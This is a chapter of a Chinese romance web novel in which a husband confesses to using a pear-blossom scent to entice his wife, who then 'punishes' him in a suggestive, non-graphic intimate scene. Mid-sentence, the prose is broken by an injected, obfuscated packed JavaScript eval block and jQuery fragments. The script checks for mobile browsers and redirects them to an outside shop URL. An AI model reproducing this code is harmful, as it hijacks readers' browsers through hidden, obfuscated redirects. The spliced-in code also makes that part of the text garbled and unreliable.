25. 惩罚
作品:《是谁蛊惑了我的妻主》 萧初行被这一推踉跄了一下,就势跌坐在地毯上,仰着头望她,眼里的水光还没散去。
他指尖攥着她的衣摆,唇瓣因为方才的吻显得嫣红饱满,微张着喘着气:“妻主......我......”
话没说完,喉间就哽了一下,惊惶里掺着委屈,眼圈红得更厉害。
他垂着头,睫毛覆下来,遮住眼底的情绪,尹云起只听见他的声音:“我只是,怕妻主真的不要我了。”
尹云起俯身,指尖勾起他的下巴,强迫他抬头看自己。
烛光下,他脸颊泛着薄红,泪痕顺着下颌线滑下来,混着方才的情动,生出另一副勾人犯.罪的姿态。
“这香是什么?”她的指尖摩挲着他的唇瓣。
萧初行终究没有瞒她:“是春梨。”他说着,见她没立刻动怒,又小声补充,“我想让妻主留在我身边,不想妻主再躲着我,没有别的心思。”
尹云起收回手,任由他跪在床边。
“眼睛这么红,又要哭?”她再伸手,指尖摸他泛红的眼角,拭去那点泪痕,“你是要骗我么?”
萧初行往她身前靠了靠:“对不起,妻主罚我吧。我......”
话没说完,尹云起忽然俯身,手掌撑在他身侧的地毯上,就着这个姿势仔细看他的眉眼。
萧初行抬眼望她,以为尹云起真的要罚他,仰着头乖顺地承受:“妻主想怎么罚,我都认。只是别厌弃我,好吗?”
尹云起声音沙哑:“不乖的人,自然要罚。”
萧初行伸手攥住尹云起的手腕,他知道自己的小心思被戳穿了,借着这股被撞破的慌乱,将人拽进怀里。
尹云起猝不及防跌进他怀中,刚贴住他温热的肌肤,唇瓣被他用力吻住。他身上的梨花香愈发浓烈,熏得人头晕,尹云起的手腕被他捉住,只能被动承受着他的吻。
萧初行知道她定是生了气,那点愧疚混着害怕被推开的惶恐,让他的动作愈发急切,也愈发卖力,像是要将一切都融进这辗转的吻里。
他松开她的手腕,手掌顺着她的脊背往下,将人往自己怀里带得更紧。
吻从唇瓣移到颈侧,牙齿轻轻啃咬着细腻的肌肤,留下暧昧的红痕。
“妻主要怎么罚都好,只是别再推开我。”
尹云起被他吻得浑身发软,抓着他的肩撑起身体。
萧初行见她没再挣扎,也没出声斥责,胆子更大了些,手掌揽住她的腰:“地上硌人,我抱妻主去床上。”
他将她放在床榻上,俯身看着她也泛红的眼角。烛光下,她的唇瓣被吻得嫣红。
他低头,在她唇角轻轻啄了一下,然后重新跪到床边:“妻主罚我吧。”
“过来。”尹云起终于出声。
萧初行立刻要起身,尹云起再次伸脚踩在他的胸膛上,很舒服的触感,她便由着性子又踩了几下。
他一顿,乖顺地膝行到离她更近的地方,仰着头看她。
烛火映在他的眼眸,更明了了他的忐忑、顺从,或许还有被她踩在脚下禁锢的某种安心。
怒火或是别的什么火,在她血管里细细地烧,从与他胸膛相触的脚尖,顺着被吻过的小腿,一直烧到心口。
一定是这劳什子梨花香的原因。
尹云起脚下用了点力,将他推得向后仰,又在他快要跪不稳时,松了力道。
萧初行喉结滚动了一下,吞咽的声音在安静的内室里格外清晰。
“就这么想挨罚?”尹云起紧紧盯着他的眼,问。
萧初行点头,“想。”他答的更是毫不犹豫,“妻主罚我,便是还在意我。”
“歪理。”尹云起嗤他,脚尖沿着他胸膛的轮廓,从胸骨正中,滑到一侧的锁骨,再回到心口,感受了会儿下面越来越剧烈的心跳,“出息。”
“用了不该用的东西,算计到妻主头上。按律,该如何?”
她也不知道具体该如何,于是干脆用脚尖挑起他的下巴,仔仔细细审视这张脸。
萧初行眼中的烛光更亮了:“任凭妻主处置。”又不知道想到了什么,补充,“只求妻主亲自处置。”
亲自处置。尹云起品味了下这四个字,终于收回脚,也不让他起身,自己向后挪了挪,找了个更舒服的姿势,靠在床头的软枕上。
“过来。”
萧初行膝行着靠近她,直到床沿抵住他的大腿,再不得以靠得更近。
于是尹云起倾身靠近,两人呼吸交缠,梨花香和她身上还没来得及洗掉的墨香,被情动的暖热混在一处,酿成更令人眩晕的馥郁。
她伸出手,指尖触到他的眉,又描画到湿润的眼,泛红的眼尾,被吻得艳丽的唇。指腹用力,揉住他下唇:“用了多少?”
“发尾,腕间,外衫领口、系带,中衣领,”他坦诚,“妻主若嫌浓,我去洗净......”
“晚了。”尹云起打断他,食指伸进他唇间,按上柔软的舌,“气味已染透了。”
萧初行很明显地停住,随即用力吮她的指尖,湿漉漉的目光跟随着她,含糊地唤:“妻主......”
指尖被湿热包裹,卖力的吸吮带给她细密的痒。尹云起抽回手指,带出一缕银丝,她没看,将那湿意抹回他唇角。
“既是认罚,”她向后靠回去,“自己说,错在何处?”
萧初行伸出舌尖,舔舔唇上她留下的痕迹:“一错,不该用外物魅惑妻主。二错,不该揣度妻主心意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956707|193158||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。三错,不该太过贪心。不仅想妻主留下,更想妻主让我意乱情迷。”
意乱情迷。他说的倒认真。她此刻半是清醒半是迷乱地坐在这里,和他进行这场荒唐的问罚,是谁意乱情迷?
“倒是会给自己定罪。既然如此,先罚你为我宽衣。不许逾矩,不许碰不该碰的地方。”
这算哪门子罚?萧初行有些困惑。他立刻应了声“是”,抬手伸向她的衣带。
衣带松开,前襟也随着散开,露出里面素色的中衣边缘。他呼吸明显重了,却恪守着命令,目光只流连在衣领和她的下颌之间。
尹云起看着他极力克制的触碰,忽然伸手,抓住了他即将离开她腰间的手腕。
“这里,”她拿着他的手,隔着中衣布料,按在自己腰侧,“算不算不该碰的地方?”
萧初行的指尖收紧,握住她的腰,抬起眼,喘息着,诚实回答:“......算。”
“那碰了,该如何?”
“该加罚。”
“如何加罚?”
“这样罚。”
萧初行喉结急促地滑动好几下,仰头吻上她的唇。他吮咬她的下唇,舌尖抵开齿关,攻城略地,将浓郁的情意尽数倾注。
尹云起由他吻着,仍抓着他放在自己腰侧的手。
直到两人都气息凌乱,萧初行退开些许,额头抵着她的,低喘着说:“罚我......今夜只能侍奉妻主,不得僭越求欢。”
尹云起看了他许久,久到烛火又噼啪爆开一个灯花。然后她笑了,很轻的一声。
“如你所愿。”她松开他的手,却就势向后躺倒,“那便好好侍奉。”
萧初行得到了许可,起身上了床榻,跪在她身边。
俯身,吻落在她的额头,眼睑,鼻尖,脸颊,最后流连在唇角。他的手指代替了唇,沿着她散开的衣襟边缘游走,抚过锁骨,肩头,隔着轻薄的衣料丈量每一寸曲线。
尹云起闭上眼。他的气息,他的体温,他的抚触,都在恼人甜香的催化下,把她拖入更深的沉溺。
不知过了多久,他的吻回到她耳畔,声音哑得不成样子:“妻主,满意吗?”
尹云起睁开眼,眸中情潮翻涌。她没说话,伸出手臂勾住他的脖颈,将他拉向自己。
她吻住他,用极用力的力道。萧初行也热烈回应,手臂环过她的腰背,将人紧紧拥入怀中,翻身将她笼在身下。
梨花香气被属于彼此的气息覆盖。
衣衫凌乱,喘息交织,烛火将纠缠的身影投在帐上,晃动着,融化成一片暧昧的光影。
在彻底沉沦的前一刻,尹云起咬着他的耳垂,低声呢喃。
“萧初行......你赢了。”

